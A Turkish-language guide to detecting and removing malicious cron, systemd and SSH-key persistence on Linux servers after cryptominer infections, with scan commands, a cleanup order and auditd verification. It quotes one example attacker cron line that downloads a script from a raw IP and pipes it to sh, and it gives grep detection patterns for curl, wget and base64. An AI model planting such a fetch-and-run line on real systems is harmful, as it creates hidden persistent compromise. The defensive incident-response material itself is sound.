Sildim Ama Geri Geliyor: Zararlı Cron Görevi ve Kalıcılık Tespiti

Gece 02:40'ta izleme sisteminden uyarı düşüyor: sunucunun bütün çekirdekleri %100'de. SSH ile bağlanıyorsunuz, top çıktısının en üstünde kdevtmpfsi, xmrig ya da rastgele sekiz harften oluşan bir süreç duruyor. Süreci kill -9 ile sonlandırıyor, /tmp altındaki ikili dosyayı siliyor, yükün düştüğünü görüp uykuya dönüyorsunuz. On beş dakika sonra aynı uyarı tekrar geliyor. Aynı isim, farklı PID.

Bu döngü, sunucu güvenliğinde en çok zaman kaybettiren durumdur ve neredeyse her zaman tek bir yanlış varsayımdan doğar: zararlı yazılımın tek parça olduğu varsayımı. Oysa bir madenci ya da bot yazılımı en az iki bileşenden oluşur. Birincisi çalışan yük (payload) — CPU'yu tüketen, spam gönderen, tarama yapan ikili dosya. İkincisi ise kalıcılık mekanizması — o yükü belirli aralıklarla yeniden indirip başlatan, çoğu zaman iki satırlık zararsız görünen bir zamanlanmış görev. Siz sadece yükü siliyorsunuz; kalıcılık katmanı bir sonraki tetiklemede işini yeniden yapıyor.

Bu rehberde kalıcılık kurulabilecek bütün noktaları tek liste hâlinde nasıl tarayacağınızı, temizliğin doğru sırasını ve sonrasında gerçekten temiz kaldığını nasıl doğrulayacağınızı ele alacağız. Komutların tamamı standart bir Debian/Ubuntu veya RHEL türevi sunucuda ek araç gerektirmeden çalışır.

Sildiğim Zararlı Neden Geri Geliyor?#

Kalıcılık, saldırganın açısından bakıldığında en değerli varlıktır. Sunucuya girmek zordur; girdikten sonra orada kalmak ise ucuz ve otomatiktir. Bu yüzden neredeyse her otomatik bulaşma, ilk iş olarak kendisini yeniden başlatacak bir zamanlayıcı kurar. Tipik bir giriş şu kadar basittir:

*/10 * * * * curl -fsSL http://185.0.113.44/i.sh | sh > /dev/null 2>&1

Bu satır tek başına hiçbir zararlı kod içermez; sadece bir adresten betik indirip çalıştırır. Antivirüs taramaları çoğunlukla bunu yakalamaz, çünkü ortada taranacak bir imza yoktur. Siz ikili dosyayı silseniz bile en fazla on dakika sonra betik yeniden indirilir, yeni bir kopya /tmp, /dev/shm veya /var/tmp altına açılır ve döngü baştan başlar.

Üç davranış bu döngüyü fark etmenizi zorlaştırır:

• Bekçi (watchdog) süreci. Bazı ailelerde iki süreç birbirini izler; birini öldürdüğünüzde diğeri saniyeler içinde yenisini başlatır. Yük düşmez, sadece PID değişir.
• Kendini onaran cron. Yük çalışırken belirli aralıklarla crontab'ı kontrol edip kendi satırını yeniden yazar. Siz satırı silersiniz, bir dakika sonra geri gelir; bu yüzden önce süreci durdurmak gerekir.
• Yazma korumalı dosya. Saldırgan crontab dosyasına chattr +i uygular. crontab -e ile düzenlemeye çalıştığınızda anlamsız bir hata alırsınız veya kayıt sessizce kaydedilmez.

Dolayısıyla iki kural baştan nettir: kalıcılığı bulmadan temizliğe başlamayın ve temizliğe süreç hâlâ çalışırken başlamayın. Konunun genel kurtarma tarafını hacklenmiş site kurtarma yazımızda ele almıştık; burada özellikle kalıcılık katmanına odaklanıyoruz.

Kullanıcı Crontab'larını Nasıl Eksiksiz Tararım?#

En sık yapılan hata crontab -l komutunu çalıştırıp "temiz" demektir. Bu komut yalnızca o an içinde bulunduğunuz kullanıcının görevlerini gösterir. Web sunucusu üzerinden bulaşan bir zararlı ise büyük ihtimalle www-data, apache, nginx ya da bir hosting hesabının kullanıcısı altındadır. Bütün kullanıcıları dolaşmak gerekir:

for u in $(cut -d: -f1 /etc/passwd); do
  out=$(crontab -l -u "$u" 2>/dev/null)
  [ -n "$out" ] && printf '\n===== %s =====\n%s\n' "$u" "$out"
done

Crontab dosyalarının durduğu dizin dağıtıma göre değişir; ikisine de bakın:

ls -la /var/spool/cron/crontabs/   # Debian, Ubuntu
ls -la /var/spool/cron/            # RHEL, AlmaLinux, Rocky, CentOS

Dosya listesinde www-data ya da nobody gibi normalde zamanlanmış görevi olmaması gereken bir kullanıcı görüyorsanız, bu tek başına güçlü bir bulgudur. Dosyanın değişiklik zamanına da bakın: ls -la çıktısındaki tarih, bulaşma anıyla neredeyse her zaman örtüşür.

Görünmeyen Satırlar ve Değiştirilemez Dosya Tuzağı#

İki numara crontab -l çıktısını yanıltır. Birincisi, saldırganın satırın başına yüzlerce boşluk veya sekme koyup zararlı komutu ekranın dışına itmesidir. İkincisi, satır sonu karakterleriyle oynayarak çıktının boş görünmesini sağlamaktır. İkisini de görünür kılmak için ham dosyayı kontrol karakterleriyle birlikte okuyun:

cat -A /var/spool/cron/crontabs/root

Değiştirilemez bayrak (immutable) ise silme girişimlerinizi sessizce boşa çıkarır. Önce kontrol edin, gerekirse kaldırın:

lsattr /var/spool/cron/crontabs/root /etc/cron.d/* 2>/dev/null
chattr -i /var/spool/cron/crontabs/root

Çıktıda ----i--------- gibi bir i harfi görüyorsanız dosya kilitlenmiştir. Bu bayrağı root bile ancak chattr -i ile kaldırabilir. Cron söz diziminin ayrıntıları ve normal kullanım kalıpları için Linux cron görevleri yazısına bakabilirsiniz; buradaki amacımız normali anormalden ayırmak.

/etc/crontab ve /etc/cron.d: En Sık Atlanan İki Yer#

Kullanıcı crontab'larından bağımsız olarak sistemin kendi zamanlayıcı dosyaları vardır ve bunlar crontab -l çıktısında asla görünmez. Sistem crontab satırlarının kullanıcı crontab'larından bir farkı vardır: zaman alanlarından sonra komutun çalışacağı kullanıcı adı yazılır.

cat /etc/crontab
ls -la /etc/cron.d/
grep -RIn --color 'curl\|wget\|base64\|/tmp/\|/dev/shm\|\.onion' \
  /etc/crontab /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ \
  /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null

/etc/cron.d/ özellikle sevilen bir yerdir: buraya bırakılan dosya paket yöneticisinin dosyalarına benzer, ntp-sync veya certbot-renew gibi masum isimler taşır ve dizin listelendiğinde göze batmaz.

Küçük ama işe yarayan bir ayrıntı: run-parts varsayılan olarak adında nokta bulunan dosyaları çalıştırmaz. Yani /etc/cron.daily/update.sh çalışmazken /etc/cron.daily/update çalışır. Saldırganlar bunu bildiği için uzantısız isim kullanır — dizinde uzantısız, çalıştırma izni olan yeni bir dosya görüyorsanız tarihine mutlaka bakın:

find /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly \
     -type f -newermt '30 days ago' -printf '%T+ %M %p\n' 2>/dev/null | sort

systemd Timer ve Servisleri: Kalıcılığın Yeni Adresi#

Son yıllarda kalıcılık giderek cron'dan systemd'ye kayıyor. Sebebi basit: pek çok yönetici hâlâ yalnızca crontab'a bakıyor, systemd tarafını hiç açmıyor. Oysa bir .timer birimi cron'un yaptığı her şeyi yapar, üstüne yeniden başlatma politikası ve gecikme toleransı sunar.

Üç komut, bütün zamanlanmış ve otomatik başlayan birimleri önünüze serer:

systemctl list-timers --all
systemctl list-unit-files --state=enabled
systemctl list-units --type=service --state=running

Şüpheli bir birim adı gördüğünüzde, onun dosyasının nereden geldiğine bakın. Birim dosyaları öncelik sırasına göre şu dizinlerde bulunur:

systemctl cat supheli.service
ls -la /etc/systemd/system/ /run/systemd/system/ /usr/lib/systemd/system/

/usr/lib/systemd/system/ paketlerin alanıdır; oraya elle dosya konmaz. /etc/systemd/system/ ise yöneticinin alanıdır ve önceliği daha yüksektir — yani buraya konan aynı adlı bir dosya, paketin meşru birimini geçersiz kılar. Bu, gerçek bir servisin adını taşıyan sahte bir birimin fark edilmeden çalışmasının en temiz yoludur.

Son 30 günde eklenmiş veya değiştirilmiş birim dosyalarını tarih sırasıyla listelemek en hızlı yöntemdir:

find /etc/systemd /run/systemd /usr/lib/systemd \
     /root/.config/systemd /home/*/.config/systemd \
     \( -name '*.service' -o -name '*.timer' \) -newermt '30 days ago' \
     -printf '%T+ %p\n' 2>/dev/null | sort

Kullanıcı Birimleri ve Linger#

Buradaki en sinsi nokta, systemd'nin kullanıcı örnekleridir. Ayrıcalıksız bir kullanıcı ~/.config/systemd/user/ altına kendi birimini koyabilir ve loginctl enable-linger sayesinde bu birim, kullanıcı hiç oturum açmasa bile sistem açılışında çalışır. Root yetkisi olmayan bir web bulaşmasının kalıcılık kurmasının en kolay yolu budur ve sistem genelindeki listelerde görünmez:

loginctl list-users
loginctl show-user www-data -p Linger
ls -la /var/lib/systemd/linger/
ls -la /home/*/.config/systemd/user/ /root/.config/systemd/user/ 2>/dev/null

/var/lib/systemd/linger/ dizinindeki her dosya adı, arka planda birim çalıştırmasına izin verilmiş bir kullanıcıdır. Orada bir servis hesabı görüyorsanız — özellikle web sunucusu kullanıcısını — bu neredeyse kesin bir bulgudur. Bir birimin ne zamandır ve ne sıklıkla çalıştığını görmek için günlüklere bakın; journalctl ile log yönetimi ve systemd timer yazıları bu iki aracın normal kullanımını ayrıntılandırıyor.

journalctl -u supheli.timer --since '7 days ago' --no-pager

rc.local, Profil Dosyaları ve at Kuyruğu#

Zamanlayıcılar bittiğinde geriye "bir olay olduğunda çalışan" kalıcılık biçimleri kalır. Bunlar tetiklendikleri an belli olduğu için genelde daha uzun süre fark edilmez.

Açılışta çalışanlar. Pek çok dağıtımda /etc/rc.local dosyası hâlâ desteklenir: dosya varsa ve çalıştırma izni taşıyorsa rc-local.service tarafından yürütülür.

Oturum açıldığında çalışanlar. Kabuk profil dosyaları, bir yöneticinin SSH ile her bağlanışında zararlıyı yeniden ayağa kaldırır. Bu, "sabah kontrol ettim temizdi, akşam yine geldi" tablosunun klasik açıklamasıdır. Dahası, /etc/update-motd.d/ altındaki betikler her SSH girişinde root haklarıyla çalışır ve bu dizini kontrol etmek neredeyse hiç akla gelmez.

Tek seferlik kuyruk. at komutuyla planlanmış işler crontab'da görünmez, ayrı bir kuyrukta durur. Zararlı bir iş, kendisini her çalıştığında ileri bir tarihe yeniden planlayabilir.

cat /etc/rc.local 2>/dev/null
ls -la /etc/update-motd.d/
cat /etc/ld.so.preload 2>/dev/null

grep -RIn 'curl\|wget\|base64 -d\|/dev/shm\|nohup' \
  /etc/profile /etc/profile.d/ /etc/bash.bashrc \
  /root/.bashrc /root/.bash_profile /root/.profile \
  /home/*/.bashrc /home/*/.bash_profile /home/*/.profile 2>/dev/null

atq
for j in $(atq 2>/dev/null | awk '{print $1}'); do
  echo "----- at işi $j -----"; at -c "$j" | tail -25
done

/etc/ld.so.preload dosyasının varlığı ayrı bir alarmdır: bu dosya, her çalışan programa bir kütüphane enjekte eder ve ps, ls, netstat gibi araçların yalan söylemesini sağlayan kullanıcı alanı rootkit'lerinin temel yöntemidir. Temiz bir sunucuda bu dosya genellikle hiç yoktur.

authorized_keys ve Sessiz Geri Dönüş Kapısı#

Diyelim ki bütün zamanlayıcıları temizlediniz, süreci öldürdünüz, dosyaları sildiniz. Ertesi gün her şey yeniden kuruluysa aradığınız şey büyük ihtimalle bir zamanlayıcı değil, bir anahtar. Saldırgan kendi açık anahtarını authorized_keys dosyasına eklediyse, hiçbir zamanlanmış göreve ihtiyaç duymadan istediği an geri gelip kurulumu tekrarlar.

for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do
  [ -f "$f" ] && { echo "===== $f ====="; cat "$f"; }
done

grep -Ei '^(AuthorizedKeysFile|AuthorizedKeysCommand|PermitRootLogin|PasswordAuthentication)' \
  /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null

awk -F: '$3 == 0 {print "UID 0: " $1}' /etc/passwd

Üç şeye birden bakın: tanımadığınız anahtarlar, AuthorizedKeysFile yolunun başka bir dizine kaydırılmış olması (böylece ~/.ssh/authorized_keys temiz görünür) ve AuthorizedKeysCommand ile bir betiğe devredilmiş anahtar üretimi. awk satırı ise UID'si sıfır olan ikinci bir kullanıcıyı yakalar; root'a eş yetkili gizli bir hesap en kalıcı arka kapılardan biridir. Doğru kurulum için SSH anahtarı nasıl oluşturulur yazısına bakın.

Kalıcılık Noktalarının Tam Kontrol Listesi#

Aşağıdaki tabloyu bir olay sırasında baştan sona uygulayın; sıra önemli değil, eksiksizlik önemlidir. Tek bir satır atlanırsa temizlik başarısız olur.

Son satır özellikle kritiktir: kalıcılık her zaman işletim sistemi katmanında olmak zorunda değildir. Uygulama dizinine bırakılmış tek satırlık bir PHP dosyası, saldırganın tarayıcıdan istek atarak her şeyi baştan kurmasına yeter.

Doğru Temizlik Sırası: Önce Kalıcılık, Sonra Süreç, En Son Dosya#

Temizliğin sırası, temizliğin kendisi kadar önemlidir. Yanlış sırayla ilerlerseniz her adımda bir öncekini geri almış olursunuz.

1. Kanıt alın. Mümkünse sanal makinenin anlık görüntüsünü çıkarın. Değilse süreç listesini ve ağ bağlantılarını dosyaya yazın. Bunlar temizlikten sonra "nereden girdi" sorusunun tek cevabı olacak.

ps -eo pid,ppid,user,etimes,pcpu,cmd --sort=-pcpu | head -20 > /root/olay-ps.txt
ss -tunp > /root/olay-ss.txt
ls -l /proc/<PID>/exe /proc/<PID>/cwd
tr '\0' '\n' < /proc/<PID>/environ

/proc/<PID>/exe bağlantısı, süreç dosyası silinmiş olsa bile gerçek yolu gösterir; çıktıda (deleted) ibaresi görmek çok yaygındır ve tek başına güçlü bir bulaşma işaretidir.

2. Dışa çıkışı kesin. Zararlının komuta sunucusuna ulaşamaması, bekçi süreçlerinin yeni kopya indirmesini durdurur. Kural setinizi iptables ile güvenlik duvarı yazısındaki mantıkla, yalnızca ihtiyacınız olan hedeflere izin verecek biçimde daraltın. Bu adım olmadan sonraki adımlar bir yarış hâline gelir.

3. Kalıcılığı sökün. Yukarıdaki tablodaki her satırı temizleyin. Gerekirse önce chattr -i uygulayın. Bu adım süreç öldürülmeden önce yapılır ki bekçi süreci yeniden yazsa bile ikinci turda kalıcı bir şey kalmasın.

4. Süreci sonlandırın. Önce bekçiyi, sonra yükü. Süreç ağacını görmek için ps auxf kullanın; ebeveyn-çocuk ilişkisi hangisinin önce öldürülmesi gerektiğini söyler. Sinyal seçiminin ayrıntıları için süreç sonlandırma ve kill sinyalleri yazısına bakın.

5. Dosyaları silin. /tmp, /var/tmp, /dev/shm ve süreç cwd'sindeki artıkları kaldırın. Bu üç dizinin noexec seçeneğiyle bağlanması, aynı ailenin bir daha çalışmasını doğrudan engeller — olaydan sonra yapılacak en ucuz sertleştirme budur.

6. Kimlik bilgilerini döndürün. Root parolası, tüm SSH anahtarları, veritabanı parolaları, API belirteçleri ve panel şifreleri. Saldırgan sunucuda saatlerce kaldıysa bunların hepsi okunmuş kabul edilir.

7. Giriş noktasını kapatın. Kalıcılığı temizlemek olayın sonucunu siler, nedenini silmez. Güncellenmemiş bir eklenti, zayıf bir SSH parolası veya açık bir yönetim paneli hâlâ oradaysa aynı film ikinci kez oynar.

Temizlik Sonrası Yeniden Bulaşmadığını Nasıl Doğrularım?#

Temizlik bittiğinde iş bitmez; en az 72 saat gözlem gerekir. Doğrulamayı gözle değil, otomatik bir kayıtla yapın. auditd kuruluysa kalıcılık dizinlerine yazma izleyicisi koymak birkaç saniye sürer ve ilk denemede alarm verir:

auditctl -w /etc/cron.d/ -p wa -k kalicilik
auditctl -w /var/spool/cron/ -p wa -k kalicilik
auditctl -w /etc/systemd/system/ -p wa -k kalicilik
auditctl -w /root/.ssh/authorized_keys -p wa -k kalicilik

ausearch -k kalicilik -i

-p wa yazma ve öznitelik değişikliklerini izler, -k ise aramayı kolaylaştıran etikettir. Bu kurallar yeniden başlatmada kaybolur; kalıcı hâle getirmek için /etc/audit/rules.d/ altına yazın.

İkinci doğrulama katmanı bir dosya bütünlüğü temelidir. Temizlik biter bitmez kritik dizinlerin özetini alın ve günlük karşılaştırın; yöntemin ayrıntıları dosya bütünlüğü izleme yazısında:

find /etc/cron.d /etc/systemd/system /var/spool/cron -type f \
     -exec sha256sum {} \; | sort > /root/temiz-durum.txt

Üçüncüsü ağ tarafıdır. Madencilerin çoğu bilinen havuz portlarına (3333, 4444, 5555, 14444) dışa bağlantı kurar. Kısa bir gözlem döngüsü kurmak yeterlidir:

watch -n 60 "ss -tunp state established | grep -v ':443\|:80\|:22'"

Son olarak dürüst bir uyarı: bulaşma root haklarıyla gerçekleştiyse ve giriş noktasını kesin olarak tespit edemediyseniz en güvenilir yol yeniden kurulumdur. ld.so.preload veya çekirdek modülü seviyesine inmiş bir rootkit, size gösterdiği ps ve ls çıktılarını kendisi üretebilir; o noktadan sonra kendi araçlarınıza güvenemezsiniz.

Sıkça Sorulan Sorular#

crontab -l boş çıkıyor ama zararlı yine de geri geliyor, neden?#

Çünkü crontab -l yalnızca komutu çalıştıran kullanıcının görevlerini listeler. Bulaşma başka bir kullanıcının crontab'ında, /etc/cron.d/ içinde, bir systemd timer biriminde veya ~/.config/systemd/user/ altındaki bir kullanıcı biriminde olabilir. Ayrıca kabuk profil dosyaları ve /etc/update-motd.d/ betikleri her SSH girişinde tetiklenir; bunlar hiçbir cron listesinde görünmez.

Zararlı cron satırını siliyorum, birkaç dakika sonra geri geliyor. Ne yapmalıyım?#

Bu, yükün hâlâ çalıştığı ve kendi kalıcılığını yeniden yazdığı anlamına gelir. Önce sunucunun dışa çıkışını daraltın, sonra süreç ağacına bakıp bekçi ve yük süreçlerini birlikte sonlandırın, ardından crontab satırını silin. Dosyada chattr +i bayrağı varsa silme işlemi sessizce başarısız olur; lsattr ile kontrol edip chattr -i ile bayrağı kaldırmanız gerekir.

/tmp ve /dev/shm dizinlerini noexec yapmak gerçekten işe yarar mı?#

Evet, otomatik bulaşmaların büyük bölümüne karşı ciddi biçimde etkilidir. Bu ailelerin neredeyse tamamı indirdiği ikili dosyayı yazma izni olan bu dizinlere açıp doğrudan çalıştırır. noexec seçeneği bu adımı imkânsız kılar. Tek başına bir güvenlik çözümü değildir ve kararlı bir saldırgan başka bir yazılabilir dizin arayabilir, ancak maliyeti sıfıra yakın olduğu için ilk yapılacaklar listesinde yer almalıdır.

Sunucuyu yeniden kurmadan tam güvenle temizleyebilir miyim?#

Bulaşma ayrıcalıksız bir kullanıcı altındaysa ve giriş noktasını kesin olarak belirlediyseniz evet. Root haklarıyla çalışmışsa yanıt genellikle hayır olur, çünkü çekirdek modülü veya ld.so.preload seviyesine inen bir rootkit, denetim için kullandığınız komutların çıktısını da değiştirebilir. Bu durumda temiz kurulum üzerine yalnızca uygulama kodunu ve veritabanını taşımak hem daha hızlı hem de daha güvenilirdir.

Zararlının sunucuya nereden girdiğini nasıl bulurum?#

Kalıcılık dosyalarının değişiklik zamanını bir başlangıç noktası olarak alın ve aynı saat dilimindeki web sunucusu erişim günlüklerini, auth.log veya secure dosyasındaki SSH girişlerini ve panel oturum kayıtlarını inceleyin. Aynı dakikalarda gelen olağandışı bir POST isteği ya da başarılı bir SSH girişi genellikle cevabı verir. Web tarafında bırakılmış bir arka kapı arıyorsanız web shell tespiti yöntemleri doğrudan işinize yarar.

Antivirüs taraması cron satırını neden yakalamıyor?#

Çünkü ortada taranacak zararlı bir içerik yoktur. curl ... | sh satırı işletim sisteminin normal araçlarını kullanır ve imza tabanlı tarayıcılar için tamamen meşru görünür. İndirilen betik de her çalıştırmada değişebilir. Bu yüzden kalıcılık avında imza taraması yerine davranış ve değişiklik tarihi temelli inceleme — yeni eklenmiş birimler, değişmiş crontab dosyaları, beklenmedik dışa bağlantılar — çok daha güvenilir sonuç verir.

Kapanış#

"Sildim ama geri geliyor" bir şikâyet değil, teşhistir: kalıcılık katmanı hâlâ ayaktadır. Çözüm aynı dosyayı daha çok kez silmek değil, kalıcılığın kurulabileceği bütün noktaları tek seferde taramaktır — crontab'lar, cron dizinleri, systemd timer ve kullanıcı birimleri, açılış ve oturum betikleri, at kuyruğu ve SSH anahtarları.

Asıl kazanç, temizlik biter bitmez alacağınız temiz durum özetidir. Onu düzenli karşılaştırdığınızda bir sonraki denemeyi CPU %100'e çıktığında değil ilk dakikasında görürsünüz; otomatik güvenlik güncellemeleri ile birlikte kurulduğunda tekrar ihtimali belirgin biçimde düşer.